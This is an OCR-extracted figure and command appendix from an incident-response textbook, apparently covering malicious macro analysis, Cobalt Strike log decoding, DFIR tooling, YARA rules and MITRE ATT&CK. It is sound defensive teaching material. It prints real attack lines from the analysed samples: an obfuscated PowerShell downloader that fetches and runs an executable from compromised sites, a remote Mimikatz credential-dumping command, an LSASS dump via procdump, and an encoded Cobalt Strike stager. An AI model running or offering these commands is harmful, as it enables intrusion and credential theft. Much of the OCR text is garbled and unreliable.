14: 21576 ‘Macros/Bimgxgzblyrp/o’
15: 552 'Macros/PROJECT"
16: m 1172 'Macros/VBA/Bimgxgzblyrp®
17: M 18745 'Macros/VBA/Flijvcefzoj’
18: M 1278 'Macros/VBA/Vycejmzr'

[
WO NOWU B WN

19: 16194 ‘'Macros/VBA/_VBA_PROJECT®
20: 1593 ‘Macros/VBA/__SRP_8°'

21: 116 'Macros/VBA/__SRP_1°

22: 384 'Macros/VBA/__SRP_2°

23: 103 'Macros/VBA/__SRP_3'

24: 884 'Macros/VBA/dir’

25: 4096 'WordDocument’

Figure 15.2 — Oledump.py output

File Edit Selection View Go Run Terminal Help macro18 - Visual Studio Code

= macrol8 X
uit > Do

Attribute VB _Name
Attribute VB_Base = "1Normal
Attribute VB_GlobalNameSpace
Attribute VB Creatable = Fal
Attribute VB PredeclaredId = 1
Attribute VB Exposed = T
Attribute VB_TemplateDerived
Attribute VB_Customizable =T
' Document_open()

Tbcepkcgnhpwx

Figure 15.3 — Oledump.py macro identification



Tbcepkc gnhpwx()

=dsfnnlllsm388

Utqsicezgnb
Figure 15.4 — Macro obfuscation
End Select

d Function

Thcepkcgnhpwx()

“inmgmt” + ChrW(wdKeyS) + " 32 " + Bimgxgzblyrp.Fmgsnpdkhc + "rocess”

Select Case Utgslcezgnb
Case 5815

Figure 15.5 — Macro code plaintext
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RN PRI ST USRI IR KOO~ LI LI LI B L A O Lt
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0y . .

Norenal text file lerngth : 21,576 Fnes: 3 In:? Cot:003 Pos: 1897 Macnmosh (CR) ANSI NS

- X
File Eit Sewch View [ncodng langusge Settngs Took Macre fun  Ploging Window ! * -V
B VB 4 BE| I DCc/ayg 22 HE | mvEDRT A LARORCIDE 8

L 20 AN GG ~

N

Figure 15.6 — Macro file text output
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Figure 15.7 — Macro obfuscated code

[ *C\rery\ PROD-SANDBOX Desktop\macro 4 - Notepad-+ - O ¥
File Ede Search View [ncodng Linguege Settings Tools Mace Rum Plugine Window 7 + v x
sEHE LGB I AR ey e HFAIBRTEDREOAH=ES3 N ER

Noemal text file length i 12152 lines: 3 Ln:2 Col:5487 Seli20@)1 Macetoh (CR) ANS s

Figure 15.8 — Base64-encoded command
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Figure 15.9 — CyberChef interface

Reclpe om s

From Base64 SURR L

Lncedra

UTF-16LE (1200)

Figure 15.10 — CyberChef — Recipe
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Figure 15.11 — CyberChef decoding

DETECTION DETAILS LINKS

Secunty Vendors' Analysis

alphaMaurtain ai Malicou

BaDefender Malwara

CROF ) Maliciou

G-Data ()

Saclookup

COMMUNITY

Avica ! falwa

Comaodo Valkyrie Verdict 1) F

Dr Web (1) Malicioy
Heimdal Security dalicious
Sephos Malwars
Abusir ean

Figure 15.12 - VirusTotal analysis



h'-{je_ LAY

State & Flowid Artifacts s
v F CCD7T3DEFABOK Generic. Clhent Info
v F CCD7TR4DGGBNA4G Genenc. Client Info
Figure 15.13 — Velociraptor evidence collection
New Collection: Select Artifacts to collect v
SINCe coecatnn A A A" Evd ﬁ o
Tive e
Varstow Aayve Fradstes(ICmeton 10 Py AQSIQINONG (S Lt 10 BN Gvence of SYOQTT WaCutnn
Thes arkiact cosbasens 1w Bnckags Of sevetid ofser Cotbackans 010 s Synewien o 0l pognis smculon adacts The
Whedowes Fovenucs Pratalch wemacovied 1pcet ek e e frough e e
ViArdoen Timsine Mistwch Bowoe UsadAass
1 SELECT * Pe0n Actifot Mindows, Magisiry, taarisssstl)
Source Timeten
1 SEERCT * PRON St ) Fact i alnes . Torenh Lok Tien Liee( )
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Sooros ShenCate
1 SCLECT * VRO Artifact  Mindows, Sagiatry. fppd smgatiactm|)
2
Sowoe Prafeich
1 OSELECT * Pedn Actifet. sindews, Poremies Prefetas )
2
Figure 15.14 — Velociraptor — Select Artifacts to collect
Resulls
Artifacts with Results Windows Analysis EvidenceOfExecution/UserAssistWindows Analysis Evidenc
eOfExecution/SismCacheWindows Analysss EvidenceOfExecutionPrefelch
Total Rows 398
Uploaded Bytes 0/0
Files uploaded 0
Download Results & H-
Available Downloads Prepems Download
' Prapare Collection Report
Name ¢ lze (Mb) ¢ Date

Reporl DESKTOP-ASLRSCT-C 20264ddo 70339+ CCD10062KTCKG 2 Mb 2022-09-08T155501Z



Figure 15.15 — Results

"Version": "Winie (30)",
"Signature": "SCCA",
"FileSize": 8780,
"Executable"”: "RUNDLL32.EXE",
"Hash": 38906825083,
"Info": {
"LastRunTimes": [
{
"Date": "2822-89-08T715:50:147",
"Int": 133671258148376400

Figure 15.16 — RunDII32 Prefetch entry

“Filenase”: “\\VOLUME{010Bc185081de727 -860d82ea0 |\ \WINDOWS \ \SYSTEM3 2\ \SHCORE, DLL”

“Filoname™: "\\VOLUME({01dBc185d81de727 -85d820a0 )\ \WINDOKS\ \SYSTENI2\\ IMAGEHLP . DLL"

“Fliename™: T\\VOLUME{0108c185081de727 -B6d82ea |\ \USERS \ \PROD-SANDBOX\ \APPOATA\\LOCAL\ \TEMP\\SAMPLE .DLL™

“Filename™: “\\VOLUME(01d8c185d81de?27-86d820a%) \ \WINDOKS \ \SYSTEMIZ\\SECHOST . DLL"
1
{

“Filename™: “\\VOLUME{6108C185081d727 -86¢82ea% )\ \WINDOKS \ \SYSROWSA\ \RUNDLL32 . EXE™
}.

Figure 15.17 — RunDLL32 Prefetch entry details



Event Properties - Event 1, Sysmon X
P Y

General Details

FileVersion: 10.11 A

Description: Sysinternals process dump utility

Product: ProcDump

Company: Sysinternals - www.sysinternals.com

OriginalFileName: procdump

CommandLine: C:\AtomicRedTeam\Atomics\T1003.001\procdump.exe -accepteula -ma Isass.exe C:
\Windows\Temp\lsass_dump.dmp|

CurrentDirectory: C:\Users\ATOMIC~1\AppData\Local\Temp\

User: DESKTOP-EOMST30\AtomicRedTeam1

LogonGuid: {2f880983-881a-631b-295e-010000000000}

Logonld: 0x15E29

TerminalSessionld: 1

IntegrityLevel: High

Hashes: SHA256=1A107C3ECE1880CBBDCOAGC0817624B0DD033B02EBAF7FA366306AACA22C103D |T’
ParentProcessGuid: {2f880983-9600-631b-fb03-00000000000} —
{ParentProcessld: 6800 =7
Parentimage: C:\AtomicRedTeam\atomics\T1003.001\procdump.exe B_J
ParentCommandLine: C:\AtomicRedTeam\Atomics\T1003.001\procdump.exe -accepteula -ma

Isass.exe C:\Windows\Temp\lsass_dump.dmp

ParentUser: DESKTOP-EOMST30\AtomicRedTeam1 v
Log Name: Microsoft-Windows-Sysmon/Operational
Source: Sysmon Logged: 9/9/2022 12:37:37 PM
Event ID: 1 Task Category: Process Create (rule: ProcessCreate)
Level: Information Keywords:
User: SYSTEM Computer: DESKTOP-EOMST30
OpCude: Infu

More Information: Event Log Online Help

Copy Close

Figure 15.18 — ProcDump Sysmon entry




@ Event Properties - Event 403, PowerShell (PowerShell) X

General Details

HostName=ConsoleHost A

HostVersion=5.1.19041.1682

Hostld=a7d19cf1-7e29-4c4b-a95d-aa82504e0f36

HostApplication=powershell.exe & {IEX (New-Object Net.WebClient).DownloadString
('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ecl
8007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds}

EngineVersion=5.1.19041.1682

Runspaceld=01202065-d006-4a4d-8437-9a90136c5f56

Pipelineld=
CommandName= R
CommandType= &
ScriptName= P
CommandPath= =1
CommandLine= v I:J

Log Name: Windows PowerShell

Source: PowerShell (PowerShell) Logged: 9/9/2022 11:39:56 AM

Event ID: 403 Task Category: Engine Lifecycle

Level: Information Keywords: Classic

User: N/A Computer: DESKTOP-EOMST30

OpCode: Info

More Information: Event Log Online Help

“on | o |

Figure 15.19 — Mimikatz PowerSploit entry




@ Event Properties - Event 4104, PowerShell (Microsoft-Windows-PowerShell) X

General Details

Creating Scriptblock text (1 of 1): "~

if((([System.Security.Principal. Windowsldentity]:: GetCurrent()).groups -match "S-1-5-32-544")) {

Senv:windir = [System.Environment]::GetEnvironmentVariable("windir", “machine")

powershell.exe -nop -w hidden -noni -e
a0BmACgAWWBJAGAAJABOAHQACgBdADoAOgBTAGkAegBIACAALQBIAHEAIAADACKAewAKAGIAPQANA
HAAbwB3AGUAcgBzAGgAZ(QBsAGwWALgBIAHgAZQANAHOAZQBSAHMAZ QB7TACQAYgASACQAZQBUAHYA
OgB3AGkAbgBkAGKACgArACcAXABZAHKACwWB3AGBAdwAZADQAXABXAGKkAbgBKAGEAdwBZAFAAbWE3AG
UAcgBTAGgAZQBsAGWAXABZADEALgAWAFWACABVAHCAZOBYAHMARABIAGWABAAUAGUAEABIACCAFQA
7TACQACwWASAE4AAZOB3ACOATWBIAGOAZOBJAHOAIABTAHKAcWBOAGUABQAUAEQAZQBhAGcAbgBVAHMA
dABpAGMAcwAUAFAACgBVvAGMAZQBzAHMAUWBOAGEACgBOAEKAbgBmMAGBAOWAKAHMALGBGAGKAbA
BIAE4AYQBtAGUAPQAKAGIAOWAKAHMALgBBAHIAZwWB1AGOAZQBUAHQAcWAIACCALQBUAGBAbgBpACA
ALOBUAGBACAAgACOAdwAgAGgAaQBKAGOAZOQBUACAALQBJACAAIgACAFsAcwBjAHIAaQBWAHQAYgBs
AGBAYwBrAFOAOgAGAGMACgBIAGEAJABIACGAKABOAGUAdwWALAESAYgBqAGUAYWBOACAAUWBSAHMA
dABIAGOALgBJAEBALgBTAHOACGBIAGEADOBSAGUAYQBKAGUACgACAE4AZOB3ACOATWBIAGoAZQBJAHQ E’
AIABTAHKAcwBOAGUAbQAUAEKATWAUAEMAbwBtAHAAcgBIAHMACcWBpAG8AbgAuAEcAegBpAHAAUWBD
AHIAZOBhAGOAKAACAE4AZOB3ACOATWBIAGoAZQBJAHOAIABTAHKAcWBOAGUABQAUAEKATWAUAEDAZQ S
BtAG8AcgB5AFMAJABYAGUAYQBtACgALABbAFMAeQBzAHOAZQBtAC4AQwWBVAG4AdgBIAHIAJABJADOA I 4 ’
OgBGAHIAbwBtAEIAYQBzAGUANgAOAFMAJABYAGKkAbgBnACgAKAACOACCAIWBIADOACWBIAEEATWBOAE i
QAQwBHAEKAQwBBADcAMOBXAGIAVWAVAC cAJWArACcAIWBhAFMAQgBEACSAWABXAGAALWB3AGEACQ
BRAGIARQBzAEUAbQATAGQACcgBrADAAaQBWAHo0AagBaAHgASQBBAEUAQwBIJAFUAIWANACSAIWANAEE
AQWBSAGEAewAWAHOATgB2AFoAZWBOAGEAeQATAHgAMQB4AEMAbgAXACBAOQATAHMAMWAOAECAN A

Log Name: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind Logged: 2/12/2022 4:33:56 PM

Event ID: 4104 Task Category: Execute a Remote Command
Level: Warning Keywords: None

User: $-1-5-21-3341181097-105951 Computer: DESKTOP-SKPTDIO

OpCode: On create calls

More Information: Event Log Online Help

Copy Close

Figure 15.20 — Cobalt Strike PowerShell Event Log entry
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Figure 15.21 — Cobalt Strike Base64-encoded script
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Figure 15.22 - First Base64 decode
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Figure 15.23 — Second Base64 decode
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Figure 15.24 — Base64 XOR recipe

time: 1ms

length: 798 gt
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Figure 15.25 — Shellcode output

Figure 15.26 — Shellcode analysis



rule.name

ET MALWARE Possible SQUIRRELWAFFLE Server Response

ET MALWARE SQUIRRELWAFFLE Server Response

ET MALWARE SQUIRRELWAFFLE Loader Activity (POST)
ET JA3 Hash - [Abuse_ch] Possible Dridex

ET MALWARE Observed Qbot Siyle SSL Certificate

Figure 15.27 — Cobalt Strike Security Onion detection

Security Onlon - Destination IPe Security Onion - Destination Ports
% Export ' Export

Destination IP v Destination Port

Figure 15.28 — Security Onion alert network connections
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Figure 15.29 — Packet capture Zeek import

(@ \ D E | Fooo G | H |
Destination IP Connections Avg. Bytes Intvl Range Size Range Top Intvl
1103.253.212.72 127 1095 1 84 25
173.201.193.101 26 92 859 156 7
1104.153.45.49 72 1049 2 36 25|
107.180.43.3 144 1126 2 80 25
107.151.94.156 105 102 712 156 7
1108.62.141.222 27 67018 43 26287 6
64.136.52.44 49 102 532 156 7
64.136.44.50 52 217 935 1860 7
172.16.1.128 49 42 898 4 3
172.16.1.128 48 40 878 0 8
|172.16.1.128 22 40 532 0 10
164.136.52.50 152 160 846 1804 7
149.28.99.97 45 61859 319 109013 317
196.114.157.81 23 424 568 858 7
173.201.192.229 24 125 688 276 7
183.234.10.133 77 84 1414 156 7
|217.160.0.61 22 85 2066 156 7

Figure 15.30 — RITA beacon IP addresses



Figure 15.31 — Cobalt Strike connections in Arkime
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Figure 15.32 — TCP stream
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Figure 15.33 — AlienVault OTX threat intelligence



General Details

2] Event Properties - Event 4624, Microsoft Windows security auditing.

An account was successfully logged on.

Subject:
Security ID: NULL SID
Account Name: -
Account Domain: -
Logon ID: 0x0
Logon Information:
Logon Type: 3
Restricted Admin Mode: -
Virtual Account: No
Elevated Token: No

Impersonation Level:

Impersonation

New Logon: E

Security ID: DESKTOP-9SK5KPF\Atomic Red Team
Account Name: Atomic Red Team E‘
Account Domain: DESKTOP-9SK5KPF
Logon ID: 0x87DOATF
Linked Logon ID: 0x0
Network Account Name: -
Network Account Domain: -
Logon GUID: {00000000-0000-0000-0000-000000000000} 9

Log Name: Security

Source: Microsoft Windows security Logged: 8/24/2022 2:25:06 PM

Event ID: 4624 Task Category: Logon

Level: Information Keywords: Audit Success

Usen N/A Computer: DESKTOP-9SK5KPF

OpCode: Info

More Information: Event Log Online Help

o

Figure 15.34 — SMB logon event log entry




Event Properties - Event 4624, Microsoft Windows security auditing. X
p ity g

General Details

Network Information: A
Workstation Name: LAPTOP-CHL1KGT3
Source Network Address:  192.168.0.22
Source Port: 0

Detailed Authentication Information:
Logon Process: NtLmSsp
Authentication Package: NTLM
Transited Services: -
Package Name (NTLM only): NTLM V2
Key Length: 128

This event is generated when a logon session is created. It is generated on the computer that was
accessed.

The subject fields indicate the account on the local system which requested the logon. This is most
commonly a service such as the Server service, or a local process such as Winlogon.exe or ) %
Services.exe.
|
4

The logon type field indicates the kind of logon that occurred. The most common types are 2
(interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that
was logged on.

v
Log Name: Security
Source: Microsoft Windows security Logged: 8/24/2022 2:25:06 PM
Event ID: 4624 Task Category: Logon
Level: Information Keywords: Audit Success
Usen N/A Computer: DESKTOP-9SK5KPF
OpCode: Info

More Information: Event Log Online Help

o

Figure 15.35 — SMB logon entry details




General Details

2] Event Properties - Event 4624, Microsoft Windows security auditing.

An account was successfully logged on.

Subject:
Security ID: SYSTEM
Account Name: DESKTOP-9SK5KPFS
Account Domain: WORKGROUP
Logon ID: Ox3E7
Logon Information:
Logon Type: 7
Restricted Admin Mode: -
Virtual Account: No
Elevated Token: Yes

Impersonation Level:

Impersonation

New Logon: E

Security ID: DESKTOP-9SK5KPF\Atomic Red Team
Account Name: Atomic Red Team E‘
Account Domain: DESKTOP-9SK5KPF
Logon ID: Ox87E11E6
Linked Logon ID: 0x87E1208
Network Account Name: -
Network Account Domain: -
Logon GUID: {00000000-0000-0000-0000-000000000000} 9

Log Name: Security

Source: Microsoft Windows security Logged: 8/24/2022 2:25:09 PM

Event ID: 4624 Task Category: Logon

Level: Information Keywords: Audit Success

Usen N/A Computer: DESKTOP-9SK5KPF

OpCode: Info

More Information: Event Log Online Help

o

Figure 15.36 — RDP logon entry




2] Event Properties - Event 4624, Microsoft Windows security auditing. X

General Details

Network Information: A
Workstation Name: DESKTOP-9SK5KPF
Source Network Address:  192.168.0.22
Source Port: 0

Detailed Authentication Information:
Logon Process: User32
Authentication Package: Negotiate
Transited Services: -
Package Name (NTLM only): -
Key Length: 0

This event is generated when a logon session is created. It is generated on the computer that was
accessed.

The subject fields indicate the account on the local system which requested the logon. This is most

commonly a service such as the Server service, or a local process such as Winlogon.exe or E %

Services.exe. i3
[#]

The logon type field indicates the kind of logon that occurred. The most common types are 2 —

(interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that
was logged on.

v
Log Name: Security

Source: Microsoft Windows security Logged: 8/24/2022 2:25:09 PM

Event ID: 4624 Task Category: Logon

Level: Information Keywords: Audit Success

Usen N/A Computer: DESKTOP-9SK5KPF

OpCode: Info

More Information: Event Log Online Help

Figure 15.37 — RDP logon entry details

Code and Commands

Command 15.1:



C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py DETAILS-
RL1609.doc

Command 15.2:

C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 17 -v

DETAILS-RL1609.doc > macrol?

Command 15.3:

C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 18 -v
DETAILS-RL1609.doc > macrol8

Command 15.4:

C:\Users\PROD-SANDBOX\Downloads\Oledump>oledump.py -s 14 -d
DETAILS-RL1609.doc > macrold

Command 15.5:

SKgldfmbvr='Xidvorbkkcgta'; SFymbhyexmh =

'593"'; $Nnrggikkfqgy="Bjspcpsecqf'; $0Osxjsuvbbxzc=$env:userpro
file

+'"\"+S$Fymbhyexmh+'.exe'; $Qeewlohvnhzjg="'Tgytjxitodxzf"'; $Pvqg
krn

0ao=& ('new-ob'+'jec'+'t")

nET.WebcLIEnt; $Fkmngitga='http://oni
ongames.jp/contact/iY/*http://pmthome.com/posta/dr3zxa/*htt
p:
//urgeventa.es/img/k35d9q/*https://solmec.com.ar/sitio/nTXZ
omKCx/*https://tiagocambara.com/cgi-bin/s96/'."SpL IT"
("*");$Xmvtsffjfj="Nbsfvavkmslb'; foreach ($Qtykmgpyyczy in
SFkmngitga) {try{$Pvgkrnoao."d OWnloa DfI1E" ($Qtykmgpyyczy,
SOsxjsuvbbxzc) ; SLgsnocick="Mwrnhskzeus';If ((&('Ge'+'t'+'-
Ttem') $Osxjsuvbbxzc)."1l eNg Th" -ge 36952)

{ [Diagnostics.rocess]::"S TARt" ($Osxjsuvbbxzc);$Zjcyebtu='P
grvhklgerie';

break; SFzbbuntuulpsg="'Musmxxgbo'}}catch{}}S$Jbrhtvgftfzs=
'Bvvggpdikswqgr'

Command 15.6:



C:\Windows\system32>rundl132.exe C:\Users\PROD-
SANDBOX\AppData

\Local\Temp\sample.dll, #1

Command 15.7:

C:\Users\Jsmith\Desktop>procdump.exe -ma lsass.exe dump.dmp

Code 15.1:

ParentCommandLine:
C:\AtomicRedTeam\Atomics\T1003.001\procdump.exe -
accepteula -ma lsass.exe C:\Windows\Temp\lsass dump.dmp

Code 15.2

HostApplication=powershell.exe & {IEX (New-Object
Net.WebClient) .DownloadString ('https://raw.githubuserconten
t.com/PowerShellMafia/PowerSploit/£650520c4b1004daf8b3ec080
07a0b9%45b91253a/Exfiltration/Invoke-Mimikatz.psl'); Invoke-
Mimikatz -DumpCreds}

Code 15.3:

[Byte[]]$var_code = [System.Convert]::FromBase64String

Code 15.4:

for ($x = 0; $x -1t Svar code.Count; S$x++) {

$var code[$x] = Svar code[$x] -bxor 35

Command 15.8:

C:\Users\PROD-SANDBOX\Downloads\scdbg.exe -f download.dat

Command 15.9:

dfir@Qubuntu:~/rita$ zeek -C -r Squirrelwaffle Qakbot.pcap

Command 15.10:

dfir@ubuntu:~/rita$ rita import *.log Squirrelwaffle Qakbot

Command 15.11:



dfir@ubuntu:~/rita$ rita show-beacons Squirrelwaffle Qakbot

> Beacons.csv

Command 15.12:

Ip.dst == 108.62.141.222

Command 15.13:

[4624 / 0x1210] Source Name: Microsoft-Windows-Security-
Auditing Strings: ['S-1-5-18', 'DESKTOP-9SK5KPFS',
'"WORKGROUP', '0x00000000000003e7'", 'S-1-5-21-3785962752-
1303019572-1054719619-1001", 'Atomic Red Team', 'DESKTOP-
9SK5KPF', '0x00000000087e1208', '7', 'User32 ',
'Negotiate', 'DESKTOP-9SK5KPFE', '{00000000-0000-0000-0000-

0oo00000000OQO}", '*=', '=', '0', '0x0000000000000520",
'C:\Windows\System32\svchost.exe', '192.168.0.22', '0"',
'$%1833', '-', '-=',  '-',  '%%1843', '0x00000000087elleb’',
'$%1843'] Computer Name: DESKTOP-9SK5KPF Record Number:
99549 Event Level: O

Questions

Answer the following questions to test your knowledge of this chapter:

1. Which of these is not a post-exploitation framework?
e (Cobalt Strike
e Metasploit
e ProcDump
e PowerSploit
2. Windows OS credentials are stored in what process?

e LSASS
e Services
o Netstat

e credsman

3. The use of Rundll32 can be observed within the Prefetch files.
e True
e False



4. What type of Windows Security Event Log is indicative of a Remote Desktop
Connection?

Event ID 4625 Type 3
Event ID 4625 Type 10
Event ID 4624 Type 3
Event ID 4264 Type 10

Further reading

Refer to the following for more details about the topics covered in this chapter:

o Cobalt Strike PowerShell Analysis:
https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-
analysis-eecf74b3c2f7

Deobfuscating PowerShell Aifpsiimeditim.com/mii-cybersec/malicioust
powershell-deobfuscation-using-cyberchef-dfbofaff29f

»  CyberChef: https://docs securityonion.net/en/2.3/cyberchet.html


https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7%0D
https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7%0D
https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7%0D
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Figure 16.1 — Malware analysis categories
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Figure 16.3 — PEStudio metadata view
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Figure 16.5 — PEStudio strings
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Figure 16.7 — PCHealthCheck.exe VirusTotal check

The following process wants to run:

Process: notepad.exe
Process ID: 180

Parent Process: EXD]DFEF




Figure 16.8 — Process Spawn Control notepad.exe suspension

:*E-r':' SnippingTool.exe 5.55
) Suspended

Figure 16.9 — Process Explorer notepad.exe suspended

2f SnippingTool.exe 0.71
. |notepad.exe

Figure 16.10 — Process Explorer notepad.exe running

INTEZER ANALYZE

Supported formats

Figure 16.11 — Intezer Analyze file upload



Genatic Summary

Figure 16.12 — Intezer metadata

Unique

Figure 16.13 - Intezer — Generic Summary

Figure 16.14 — Intezer malware conviction



Figure 16.15 — Reused genes

Figure 16.16 — Code analysis



Figure 16.17 — Strings

Figure 16.18 — MITRE ATT&CK techniques



Figure 16.19 — Malware 10Cs

# Comment or remove the line below.
Example

Figure 16.20 — Configuration file entry

Figure 16.22 — Clamscan output

remnux@remnux:~/yarGen-master$ python3 yarGen.py -m
/home/remnux/Downloads/malware samples/



sster$ python3 yarGen.py -m /home/remnux/Downloads/malware samples/

IN_ T IS
Yara Rule Generator
Florian Roth, July 2020, Version 0.23.3

Note: Rules have to be post-processed

Figure 16.23 — YarGen YARA rule generator

Code and Commands:
Command 16.1:

copy .\conf examples\freshclam.conf.sample .\freshclam.conf

copy .\conf examples\clamd.conf.sample .\clamd.conf

Command 16.2:

C:\Program Files\ClamAV>freshclam.exe

Command 16.3:

C:\Program Files\ClamAV>clamscan.exe
"C:\Users\flare\Documents\Suspected Malware"

Command 16.4:

rule CISA 10376640 01 : trojan wiper ISAACWIPER
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10376640"
Date = "2022-03-14"
Last Modified = "20220418 1900"
Actor = "n/a"

Category = "Trojan Wiper"

Family = "ISAACWIPER"

Description = "Detects ISACC Wiper samples"

MD5 1 = "aa%98b92e3320af7al639delbacocl’cc”

SHA256 1 =
"abf9%adf2c2c21cle8bd69975dfccb5cab3060d8ele7271ab5e%e£f3b56a’7




e54d9f"

MD5 2 = "8061889%aaebdS955batfb493abe’/addel”

SHA256 2 =
"afelf2768e5757375703%a40ac40£3c7471bb084599613b3402b1e9958
e0dz27a"

MD5 3 = "ecce8845921a91854ab34bff2623151e"

SHA256 3 =
"13037b749%aad4bleda538fda26d6ac41c8f7b1d02d83f47b0d187dd6451
54e033"

strings:

$s0 = { 73 00 74 00 61 00 72 00 74 00 20 65 00 72
00 61 00 73 00 69 00 6E 00 67 }

$s1l = { 6C 00 6F 00 67 00 69 00 63 00 61 6C }

$s2 = { 46 00 41 00 49 00 4C 00 45 00 44

$s3 = { 5C 00 6C 00 6F 00 67 00 2E 00 74 78 00 74

$s4 69 73 20 70 72 6F 67 72 61 6D 20 61 6E 6E

$s5 = {53 74 61 72 74 40 34}
$s6 = {3B 57 34 74 2D 6A}
$s7 = {43 6C 65 61 6E 65 72 2E}
condition:
all of ($s0,$%$sl,$s2,%s3,%s4) or all of ($sb5,%$s6,%$s7)

Command 16.5:

remnux@remnux:~/yarGen-master$ python3 yarGen.py -m
/home/remnux/Downloads/malware samples/

Command 16.6:

YARA Rule Set

Author: yarGen Rule Generator
Date: 2022-07-27

Identifier: malware samples

Reference: https://github.com/Neo23x0/yarGen
*/




rule
sig 6b69de892df50de%9a94577fed5a2¢cbb099820£7ca618771a93ccadd
e6196d242
{
meta:

description = "malware samples - file
6b69de892df50de9a94577£fed5a2cbb099820f7ca618771a93ccaddebl9
6d242.exe"

author = "yarGen Rule Generator"

reference = "https://github.com/Neo23x0/yarGen"

date = "2021-07-27"

hashl =
"6b69de892df50de%9a94577fed5a2cbb099820f7ca618771a93ccaddebl
96d242"

strings:

$x1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"
standalone=\"yes\"?><assembly xmlns=\"urn:schemas-
microsoft-com:asm.v1\" manifestVersio" ascii

$x2 = "<assemblyIdentity version=\"1.0.0.0\"
processorArchitecture=\"X86\"
name=\"Nullsoft.NSIS.exehead\"
type=\"win32\"/><description>" ascii

$s3 = "ExecutionLevel level=\"asInvoker\"
uiBAccess=\"false\"/></requestedPrivileges></security></trus
tInfo><compatibility xmlns=\"urn:s" ascii

$s4 = " Install System v2.46</description><trustInfo
xmlns=\"urn:schemas-microsoft-
com:asm.v3\"><security><requestedPrivileges><request" ascii

$s5 = "s-microsoft-
com:compatibility.v1l\"><application><supportedOS
Id=\"{35138b% -5d96-4fbd-8e2d-a2440225f93a}\"/><supportedOS
Id=\"{e" ascii

$s6 = "<?xml version=\"1.0\" encoding=\"UTF-8\"
standalone=\"yes\"?><assembly xmlns=\"urn:schemas-
microsoft-com:asm.v1l\" manifestVersio" ascii

$s7 = "SHFOLDER" fullword ascii /* Goodware String -
occured 37 times */

$s8 = "NullsoftInst" fullword ascii /* Goodware
String - occured 89 times */

$s9 = "SeShutdownPrivilege" fullword ascii /*




Goodware String - occured 153 times */
5510 = "mXDZG"H}" fullword ascii
Ssll = "WyUG\"_" fullword ascii
Ssl12 " 7.XJn" fullword ascii
$s13 = "nTwzZvD#" fullword ascii

$sl4 = "gTFeK?" fullword ascii
$s15 "snBZR j" fullword ascii
$sl6 = "vRPe~VSR" fullword ascii

$s17 = "008deee3d3f0" ascii
$s18 "JWJIgX>kMix" fullword ascii
$s19 = ", ywSvOMQ" fullword ascii
$s20 = "f3Uu.S$U" fullword ascii
condition:
uintl6(0) == 0x5ad4d and filesize < 500KB and
1 of (Sx*) and 4 of ($s*)

Command 16.7:

$x3 = "http://nsis.sf.net/NSIS Error" ascii

Questions

Answer the following questions to test your knowledge of this chapter:

1. Which of the following is not a type of malware?

e Trojan

e Keylogger
e Rootkit

e  Webshell

2. Responders should create a controlled environment in which to conduct
malware analysis.
e True
e False
3. Which of the following is a type of static analysis?
e Runtime behavior
e String extraction
e Memory addressing
e Malware coding



4. Which of the following is a type of dynamic analysis?

e Disassembly

e Defined point

e Packer analysis

e Artifact extraction

Further reading

Refer to the following for more information about the topics covered in this chapter:

A source for . pcap files and malware samples: _

Malware Unicorn: AfpSJimalWareunicormora/]
Malwarelake: Bfpiiialarejake bIogSpoLeom/
Florian Roth’s GitHub account: _

Malware Bazaar Sample:
Malware Traffic Analysis samples: _



https://github.com/Neo23x0/
https://bazaar.abuse.ch/sample/6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242/
https://bazaar.abuse.ch/sample/6b69de892df50de9a94577fed5a2cbb099820f7ca618771a93cca4de6196d242/
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Figure 17.1 — The Pyramid of Pain



Figure 17.2 — The intelligence cycle

Persistence

The adversary is trying to maintain their foothold.

Persi ists of techniques that ady use to keep access to systems across restarts, changed
ials, and other i ptions that could cut off their access. T iques used for persi include
any access, action, or configuration changes that let them maintain their foothold on sy such as

replacing or hijacking legitimate code or adding startup code.

Figure 17.3 — MITRE ATT&CK Persistence

ID: TAQ003
Created: 17 October 2018
Last Modified: 19 July 2019

Version Permalink



Boot or Logon Initialization Scripts

Sub-techniques (5) ¥ 1D TY037

Sub-techniques: 11037 00Y
T1037 002, T1037 003, T1047 004,
T1037.009

Adversaries may use scripts agtomatically executed at boot or lagoa intialzation 1o
establish persistence Initialization scripts can be used 10 perform administrathve
functions, which may offen execute other prog or send nf tion o an i

U Tactics: Persistence, Privilege

logging server. These scripts can vary based on operating sy and whather spplied Eseaiatian
locally of remotely.

e 1/ Platforma: Linux, Windows,
Adversaries may use these senpts to maintain persistence on @ SMpie system. macOs
Depending o the configy of the fogon scripts, ether local credentials or an 1) CAPEC 1D; CAPEC 564
administrator account may be necessary. Versiom: 2.1

Created: 31 May 2017
Last Modified: 01 Aprit 2022

An adveraary may also be able to escalate their privilages since some boot or logon
intiakzation scripts run with higher peivileges.

Vervion Darrmalink

Figure 17.4 — MITRE ATT&CK technique T1037

Procedure Examples

D Name Description

GO007 ~ APT28 An APT28 loader Trojan adds the Registry key HKEO\ tprL ipt to P i

S0438  Attor Attor’s di her can P via adding a Registry key with a logon script MKEY CURRENT USER\Envitonment
sUseEinitMpEtogansaripen 1

G0080  Cobalt Cobalt Group has added persistence by registering the file name for the next stage malware under

S0044  JHUHUGIT = JHUHUGIT has registered a Windows shell script under the Registry key sxci\Envi et nitHprl 3 to blish
persistence 417!

$0526  KGH_SPY KGH_SPY has the ability to set the MKCU\ERvL conment \User InitMprLogonaer Registry key to execute logon scripts

$§0251  Zebrocy Zebrocy performs persistence with a logon script via adding to the Registry key #KcU\Enviionmont \UserInttips ogonscrpe.

Figure 17.5 — MITRE ATT&CK T1307.001 procedure example



APT28

